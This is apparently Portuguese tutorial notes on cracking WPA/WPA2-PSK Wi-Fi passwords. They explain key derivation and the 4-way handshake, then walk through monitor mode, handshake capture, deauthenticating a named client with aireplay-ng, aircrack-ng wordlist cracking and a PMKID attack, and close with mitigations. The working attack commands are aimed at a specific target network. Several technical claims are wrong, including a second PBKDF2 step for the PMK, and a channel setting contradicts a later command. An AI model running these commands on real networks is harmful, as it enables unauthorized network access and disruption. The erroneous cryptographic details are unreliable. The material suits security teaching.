Nesse tipo de conexão, é necessário compartilhar uma chave antes da autenticação no Wi-Fi, a chave PSK (Pre-Shared Key).
Para segurança, a senha do Wi-Fi não é transmitida em texto claro durante a autenticação. Em vez disso, ocorre um processo de derivação da chave PSK para gerar outra chave, denominada PMK (Pairwise Master Key).
Processo de derivação da PSK
Podemos utilizar o binário wpa_passphrase
para gerar a chave PSK a partir de uma senha e SSID:
$ wpa_passphrase [ssid] [passphrase]
Para gerarmos a chave PSK, usamos as informações abaixo:
PSK = PBKDF2(HMAC-SHA1, passphrase, SSID, 4096, 256)
Onde:
- HMAC-SHA1: Algoritmo de hash usado para derivar a chave.
- passphrase: Senha fornecida pelo usuário.
- SSID: Nome da rede Wi-Fi.
- 4096: Número de iterações do algoritmo para aumentar a segurança.
- 256: Tamanho da chave resultante em bits.
Por exemplo, para o Wi-Fi com SSID wifi_GR1S
e senha grisgris
, o comando seria:
$ wpa_passphrase wifi_GR1S grisgris
network={
ssid="wifi_GR1S"
#psk="grisgris"
psk=9c0798375fc724c678e1f65b5755cbae8635c5918db6f6ae1f1cedb4ca7a8c9b
}
Processo de derivação da PMK
A PMK é derivada da PSK usando a função PBKDF2 (Password-Based Key Derivation Function 2) com o algoritmo HMAC-SHA1:
PMK = PBKDF2(HMAC-SHA1, PSK, SSID, 4096, 256)
onde:
- HMAC-SHA1: é o algoritmo de hash
- SSID: nome da rede Wi-Fi
- 4096: quantidade de iterações do algoritmo
- 256: tamanho em bits da chave, equivalente a 32 bytes
O cliente envia um pacote de associação (Association Request) para o access point, dando início ao 4-way handshake, explicado abaixo.
Passo 1: O Access Point (AP) envia um nonce (ANonce) para o STA (Station). Um nonce é um número aleatório utilizado uma única vez.
Passo 2: O STA gera seu próprio nonce (SNonce) e usa a PSK, o ANonce, e o SNonce para derivar a Pairwise Transient Key (PTK). O STA envia o SNonce de volta ao AP junto com uma chave de verificação de integridade de mensagem (MIC - Message Integrity Check).
Passo 3: O AP, já conhecendo a PSK e o ANonce, e recebendo o SNonce do STA, também calcula a PTK. O AP verifica o MIC recebido para garantir que o STA possui a PSK correta. Se tudo estiver correto, o AP envia outro pacote com o MIC para o STA.
Passo 4: O STA verifica o MIC do AP, confirmando que ambos compartilham a mesma chave. Se o MIC for válido, o STA envia uma mensagem final ao AP, estabelecendo uma comunicação segura.
Processo de derivação da PTK
A chave PTK (Pairwise Transient Key) é uma chave temporária, uma chave de transição, utilizada para validar o processo de autenticação.
PTK = PRF(PMK || ANonce || SNonce || AMAC || SMAC)
onde:
- || é o operador de concatenação.
- AMAC é o endereço MAC do Access Point (Autenticador).
- SMAC é o endereço MAC do STA (Suplicante), que deseja se conectar à rede Wi-Fi.
- PRF é uma função Pseudo-aleatória (PRF). Para WPA, o PRF é baseado em SHA1, e para WPA2, é baseado em SHA256.
Bruteforce
Dentre todas as informações utilizadas no processo de autenticação (4-way handshake), a única informação que não possuímos é a senha do wifi, as outras informações ou são informações públicas ou podem ser obtidas a partir do monitoramento da rede alvo. Por conta disso, basta realizarmos um ataque de tentativa e erro na senha, e verificarmos se com a senha utilizada obtemos a mesma PTK do Access Point.
O ataque consiste em capturar o handshake e fazer bruteforce das possíveis senhas.
comando `airmon-ng start wlan0` coloca a placa em modo de monitoramento
obs: Após esse comando, é possível que a interface (placa) tenha mudado de nome.
Para verificar se o nome do dispositivo mudou, basta executar o comando iwconfig
. Após executarmos esse comando, percebemos que a placa manteve o mesmo nome “wlan0”, mas em alguns casos há adição de um mon
(monitor) ao final do nome, resultando em wlan0mon
O comando airodump-ng wlan0
monitora as redes Wi-Fi
informações do alvo: essid = “baby yoda comunista” bssid = “40:EE:DD:39:C7:E8”
ifconfig wlan0 down
- derruba a placa para fazermos as modificaçõesiwconfig wlan0 channel 6
- troca o canal da placa para a mesma da rede alvoifconfig wlan0 up
- sobe a placa após fazermos as modificaçõesiwlist wlan0 channel
- mostra todos os canais da placa e o canal atual da placa
No github dessa apresentação tem um script em python para automatizar os passos acima https://github.com/jhaysonj/projeto-NM/blob/main/wifi.sh
o comando airodump-ng wlan0 --bssid 40:EE:DD:39:C7:E8 --channel 8 -w wpa_baby_yoda
monitora a rede e salva as informações monitoradas em arquivos de nome “wpa_baby_yoda”
Todos os endereços macs das “STATION” são dispositivos conectados à rede
Arquivos gerados
O handshake é feito toda vez que um dispositivo se conecta à rede, podemos simplesmente esperar um dispositivo se conectar.
Para facilitar o processo de captura de handshake, utilizaremos um ataque chamado ataque de desautenticação, onde forçamos a desconexão do dispositivo, para que o alvo se reconecte e assim capturamos o handshake.
O comando aireplay-ng -0 10 -a 40:EE:DD:39:C7:E8 wlan0 -c 64:A2:00:0D:04:0E
envia pacotes que desautenticam o dispositivo.
Capturamos o handshake
O comando aircrack-ng -a 2 -b 40:EE:DD:39:C7:E8 -w ./Documents/wordlist_numerica.txt ./Desktop/wpa_baby_yoda-02.cap
faz um bruteforce para realizar a quebra da senha
O PMKID é um identificador que é derivado da chave mestra (PMK) e pode ser usado para autenticar clientes em redes Wi-Fi. Ele é parte do processo de autenticação no protocolo WPA/WPA2, especificamente quando o protocolo Fast BSS Transition (também conhecido como 802.11r) ou algumas outras implementações do WPA2 estão em uso.
- O PMKID é gerado pela seguinte fórmula:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" || BSSID || StaMac)
onde: - PMK (Pairwise Master Key) é derivada da senha PSK (Pre-Shared Key) e do SSID.
- "PMK Name" é uma string constante.
- BSSID é o endereço MAC do ponto de acesso.
- StaMac/SMac é o endereço MAC do cliente (Station/Supplicant).
Ponto de vulnerabilidade Algumas implementações do WPA/WPA2 enviam o PMKID no primeiro pacote de autenticação (Association Response) sem que o cliente tenha que responder com qualquer dado. Isso significa que o atacante pode solicitar a autenticação de um ponto de acesso sem precisar realizar um handshake completo, e o ponto de acesso responde com um pacote que contém o PMKID.
- 1. Captura do PMKID:
- O atacante envia uma solicitação de autenticação (Association Request) ao ponto de acesso (AP).
- O AP responde com um pacote contendo o PMKID.
- 2. Brute-Force da PSK:
- Com o PMKID capturado, o atacante pode tentar realizar um ataque de força bruta para derivar a PSK original.
- O processo envolve gerar PMKs a partir de diferentes combinações de possíveis senhas e o SSID conhecido da rede e calcular o PMKID correspondente usando o mesmo método que o AP utilizou.
- Quando o PMKID calculado corresponde ao PMKID capturado, o atacante sabe que a senha PSK correta foi encontrada.
- Não é Necessário Desautenticar Clientes: Ao contrário dos ataques de captura de handshake tradicionais, este ataque não requer a desautenticação de um cliente para capturar o handshake, o que torna o ataque mais discreto e rápido.
- Facilidade na Captura: Como o PMKID é enviado no primeiro pacote de autenticação, ele pode ser capturado diretamente, sem a necessidade de esperar por um cliente ativo se conectar à rede.
- Atualização de Firmware: Os fabricantes de roteadores podem corrigir essa vulnerabilidade em suas implementações do WPA2 através de atualizações de firmware que evitam o envio do PMKID de forma desnecessária.
- Uso de WPA3: O WPA3, a próxima geração de segurança Wi-Fi, mitiga este tipo de ataque com a introdução de um processo de autenticação mais robusto que não é vulnerável a ataques baseados no PMKID.
- Senhas Fortes: Usar uma PSK complexa e difícil de adivinhar reduz significativamente a viabilidade de ataques de força bruta.